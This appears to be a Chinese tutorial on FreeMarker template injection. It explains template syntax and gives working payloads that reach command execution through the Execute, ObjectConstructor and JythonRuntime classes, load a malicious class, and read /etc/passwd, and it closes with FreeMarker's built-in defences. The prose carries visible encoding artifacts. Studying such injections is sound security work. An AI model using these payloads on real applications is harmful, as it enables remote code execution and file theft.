0x00 介紹
這里主要學(xué)習(xí)下 FreeMarker 模板注入,F(xiàn)reeMarker 是一款模板引擎,F(xiàn)reeMarker 模板文件與 HTML 一樣都是靜態(tài)頁面,當(dāng)用戶訪問頁面時(shí),F(xiàn)reeMarker 引擎會(huì)進(jìn)行解析并動(dòng)態(tài)替換模板中的內(nèi)容進(jìn)行渲染,然后將渲染后的結(jié)果返回到瀏覽器中。
0x01 FreeMarker 模板
FreeMarker 模板語言(FreeMarker Template Language,F(xiàn)TL)由 4 個(gè)部分組成,分別如下:
文本:包括 HTML 標(biāo)簽與靜態(tài)文本等靜態(tài)內(nèi)容,該部分內(nèi)容會(huì)原樣輸出
插值:這部分的輸出會(huì)被模板引擎計(jì)算的值來替換,使用 ${} 這種語法
標(biāo)簽:和 HTML 標(biāo)簽類似,不會(huì)打印在輸出的內(nèi)容中,比如 <#assign name='bob'>
注釋:和 HTML 注釋類似,由 <#-- 和 --> 表示,注釋部分的內(nèi)容會(huì) FreeMarker 忽略
以下是一個(gè) FreeMarker 模板內(nèi)容示例:
<html>
<head>
<title>Welcome TeamsSix!</title>
</head>
<body> <#-- 這是注釋 -->
<h1>Welcome !</h1>
<p>Our latest product:
<a href="${latestProduct.url}">${latestProduct.name}</a>!
</body>
</html>
0x02 模板注入利用
1、new 函數(shù)的利用
FreeMarker 中預(yù)制了大量了內(nèi)建函數(shù),其中 new 函數(shù)可以創(chuàng)建一個(gè)繼承自 freemarker.template.TemplateModel 類的變量,利用這一點(diǎn)能達(dá)到執(zhí)行任意代碼的目的。
利用方法一:
freemarker.template.utility 里有個(gè) Execute 類,通過觀察源代碼里的第 30 行可以看到這個(gè)類會(huì)調(diào)用 Runtime.getRuntime().exec 函數(shù)執(zhí)行它的 aExecute 變量參數(shù)值,因此這里可以使用 new 函數(shù)傳輸想要執(zhí)行的命令作為 aExecute 參數(shù)值,從而執(zhí)行命令。
freemarker.template.utility.Execute 部分文件代碼如下:
22 public Object exec(List arguments) throws TemplateModelException {
23 StringBuilder aOutputBuffer = new StringBuilder();
24 if (arguments.size() < 1) {
25 throw new TemplateModelException("Need an argument to execute");
26 } else {
27 String aExecute = (String)((String)arguments.get(0));
28
29 try {
30 Process exec = Runtime.getRuntime().exec(aExecute);
31 InputStream execOut = exec.getInputStream();
32 Throwable var6 = null;
構(gòu)造 payload 如下:
<#assign value="freemarker.template.utility.Execute"?new()>${value("open -a Calculator")}

利用方法二:
freemarker.template.utility 里有個(gè) ObjectConstructor 類,通過觀察源代碼里的第 25 行可以看到這個(gè)類會(huì)把它的參數(shù)作為名稱構(gòu)造一個(gè)實(shí)例化對(duì)象。
因此也可以利用這一點(diǎn)構(gòu)造一個(gè)可執(zhí)行命令的對(duì)象,從而 RCE
freemarker.template.utility.ObjectConstructor 部分文件代碼如下:
17 public class ObjectConstructor implements TemplateMethodModelEx {
18 public ObjectConstructor() {
19 }
20
21 public Object exec(List args) throws TemplateModelException {
22 if (args.isEmpty()) {
23 throw new TemplateModelException("This method must have at least one argument, the name of the class to instantiate.");
24 } else {
25 String classname = args.get(0).toString();
26 Class cl = null;
27
28 try {
29 cl = ClassUtil.forName(classname);
30 } catch (Exception var6) {
31 throw new TemplateModelException(var6.getMessage());
32 }
構(gòu)造 Payload 如下:
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","open","-a","Calculator").start()}

利用方法三:
freemarker.template.utility 里有個(gè) JythonRuntime 類,這里可以通過自定義標(biāo)簽的方式執(zhí)行 Python 命令,從而構(gòu)造遠(yuǎn)程命令執(zhí)行。
freemarker.template.utility.JythonRuntime 部分文件代碼如下:
public class JythonRuntime extends PythonInterpreter
implements TemplateTransformModel {
@Override
public Writer getWriter(final Writer out,
final Map args) {
final StringBuilder buf = new StringBuilder();
final Environment env = Environment.getCurrentEnvironment();
return new Writer() {
@Override
public void write(char cbuf[], int off, int len) {
buf.append(cbuf, off, len);
}
@Override
public void flush() throws IOException {
interpretBuffer();
out.flush();
}
@Override
public void close() {
interpretBuffer();
}
private void interpretBuffer() {
synchronized (JythonRuntime.this) {
PyObject prevOut = systemState.stdout;
try {
setOut(out);
set("env", env);
exec(buf.toString());
buf.setLength(0);
} finally {
setOut(prevOut);
}
}
}
};
}
}
構(gòu)造 Payload 如下:
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("open -a Calculator")</@value>

2、api 函數(shù)的利用
除了 new 函數(shù),還可以利用 api 函數(shù)調(diào)用 Java API,然后通過 getClassLoader 獲取類加載器從而加載惡意類,或者也可以通過 getResource 來實(shí)現(xiàn)任意文件讀取。
加載惡意類的 Payload 如下:
<#assign classLoader=object?api.class.getClassLoader()>${classLoader.loadClass("Evil.class")}
任意文件讀取的 Payload 如下:
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]
不過 api 內(nèi)建函數(shù)并不能隨便使用,必須在配置項(xiàng) apiBuiltinEnabled 為 true 時(shí)才有效,而該配置在 2.3.22 版本之后默認(rèn)為 false
同時(shí) FreeMarker 為了防御通過其他方式調(diào)用惡意方法,F(xiàn)reeMarker 內(nèi)置了一份危險(xiǎn)方法名單 unsafeMethods.properties,例如 getClassLoader、newInstance 等危險(xiǎn)方法都被禁用了。
參考文章:
https://www.anquanke.com/post/id/215348
https://www.cnblogs.com/Eleven-Liu/p/12747908.html
原文鏈接: